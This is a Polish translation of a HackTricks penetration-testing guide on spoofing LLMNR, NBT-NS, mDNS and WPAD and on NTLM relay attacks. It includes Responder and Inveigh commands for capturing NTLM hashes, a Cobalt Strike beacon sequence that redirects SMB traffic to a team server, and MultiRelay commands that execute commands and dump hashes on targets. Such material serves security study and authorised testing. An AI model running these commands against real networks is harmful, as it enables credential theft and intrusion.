hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
2024-02-11 01:46:25 +00:00

9.9 KiB

Podrobienie LLMNR, NBT-NS, mDNS/DNS i WPAD oraz ataki przekierowania

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Protokoły sieciowe

Protokoły lokalnego rozwiązywania nazw

  • LLMNR, NBT-NS i mDNS:
  • Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawodzi. Podobnie systemy Apple i Linux używają mDNS.
  • Te protokoły są podatne na przechwycenie i podrobienie ze względu na ich nieuwierzytelniony, rozgłoszeniowy charakter działania przez UDP.
  • Responder można użyć do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów pytających o te protokoły.
  • Więcej informacji na temat podszywania się pod usługi za pomocą Responder można znaleźć tutaj.

Protokół automatycznego odkrywania serwera proxy (WPAD)

  • WPAD umożliwia przeglądarkom automatyczne odkrywanie ustawień serwera proxy.
  • Odkrywanie odbywa się za pomocą DHCP, DNS lub w przypadku awarii DNS, za pomocą LLMNR i NBT-NS.
  • Responder może automatyzować ataki WPAD, kierując klientów do złośliwych serwerów WPAD.

Responder do zatrucia protokołów

  • Responder to narzędzie używane do zatrucia zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na typy zapytań, głównie na usługi SMB.
  • Jest on preinstalowany w Kali Linux i można go skonfigurować w /etc/responder/Responder.conf.
  • Responder wyświetla przechwycone skróty na ekranie i zapisuje je w katalogu /usr/share/responder/logs.
  • Obsługuje zarówno IPv4, jak i IPv6.
  • Wersja Respondera dla systemu Windows jest dostępna tutaj.

Uruchamianie Respondera

  • Aby uruchomić Respondera z domyślnymi ustawieniami: responder -I <Interfejs>
  • Dla bardziej agresywnego sondowania (z potencjalnymi skutkami ubocznymi): responder -I <Interfejs> -P -r -v
  • Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: responder -I <Interfejs> --lm --disable-ess
  • Podszywanie się pod WPAD można aktywować za pomocą: responder -I <Interfejs> --wpad
  • Zapytania NetBIOS mogą być rozwiązane na adres IP atakującego, a proxy uwierzytelniania może być skonfigurowane: responder.py -I <interfejs> -Pv

Zatrucie DHCP za pomocą Respondera

  • Podszywanie odpowiedzi DHCP może trwale zatrucić informacje o trasowaniu ofiary, oferując bardziej skrytą alternatywę dla podszywania ARP.
  • Wymaga precyzyjnej wiedzy o konfiguracji sieci docelowej.
  • Uruchomienie ataku: ./Responder.py -I eth0 -Pdv
  • Ta metoda skutecznie przechwytuje skróty NTLMv1/2, ale wymaga ostrożnego postępowania, aby uniknąć zakłóceń sieciowych.

Przechwytywanie poświadczeń za pomocą Respondera

  • Responder podszywa się pod usługi za pomocą wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle wyzwanie/odpowiedź NTLMv2), gdy użytkownik próbuje uwierzytelnić się wobec podszywanych usług.
  • Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS, aby ułatwić łamanie poświadczeń.

Należy pamiętać, że stosowanie tych technik powinno odbywać się w sposób legalny i etyczny, zapewniając odpowiednie uprawnienia i unikając zakłóceń lub nieautoryzowanego dostępu.

Inveigh

Inveigh to narzędzie dla testerów penetracyjnych i zespołów czerwonych, przeznaczone dla systemów Windows. Oferuje funkcje podobne do Respondera, wykonując ataki podszywania się i man-in-the-middle. Narzędzie ewoluowało z skryptu PowerShell do binarnego pliku C#, z Inveigh i InveighZero jako główne wersje. Szczegółowe parametry i instrukcje można znaleźć w wiki.

Inveigh można obsługiwać za pomocą PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Lub uruchomiony jako plik binarny C#:

Inveigh.exe

Atak NTLM Relay

Ten atak wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowego komputera, co umożliwia uzyskanie powłoki systemowej w przypadku powodzenia. Kluczowe wymagania to:

  • Uwierzytelniany użytkownik musi mieć dostęp do lokalnego administratora na hostingu przekazywanym.
  • Podpis SMB powinien być wyłączony.

Przekierowywanie i tunelowanie portu 445

W przypadkach, gdy bezpośrednie wprowadzenie sieciowe nie jest możliwe, ruch na porcie 445 musi być przekierowany i przeprowadzony tunel. Narzędzia takie jak PortBender pomagają w przekierowywaniu ruchu portu 445 na inny port, co jest niezbędne, gdy dostęp do lokalnego administratora jest dostępny do ładowania sterownika.

Konfiguracja i działanie PortBender w Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Inne narzędzia do ataku NTLM Relay

  • Metasploit: Skonfigurowany z proxy, lokalnymi i zdalnymi danymi hosta.
  • smbrelayx: Skrypt Pythona do przekazywania sesji SMB i wykonywania poleceń lub wdrażania tylnych drzwi.
  • MultiRelay: Narzędzie z pakietu Responder do przekazywania określonych użytkowników lub wszystkich użytkowników, wykonywania poleceń lub wydobywania skrótów.

Każde narzędzie można skonfigurować do działania za pośrednictwem proxy SOCKS, jeśli jest to konieczne, umożliwiając ataki nawet przy pośrednim dostępie do sieci.

Działanie MultiRelay

MultiRelay jest uruchamiany z katalogu /usr/share/responder/tools, docelowo na określone adresy IP lub użytkowników.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Te narzędzia i techniki tworzą kompleksowy zestaw do przeprowadzania ataków NTLM Relay w różnych środowiskach sieciowych.

Wymuszanie logowania NTLM

W systemie Windows możesz próbować wymusić uwierzytelnianie niektórych uprzywilejowanych kont na dowolnych maszynach. Przeczytaj następującą stronę, aby dowiedzieć się jak:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: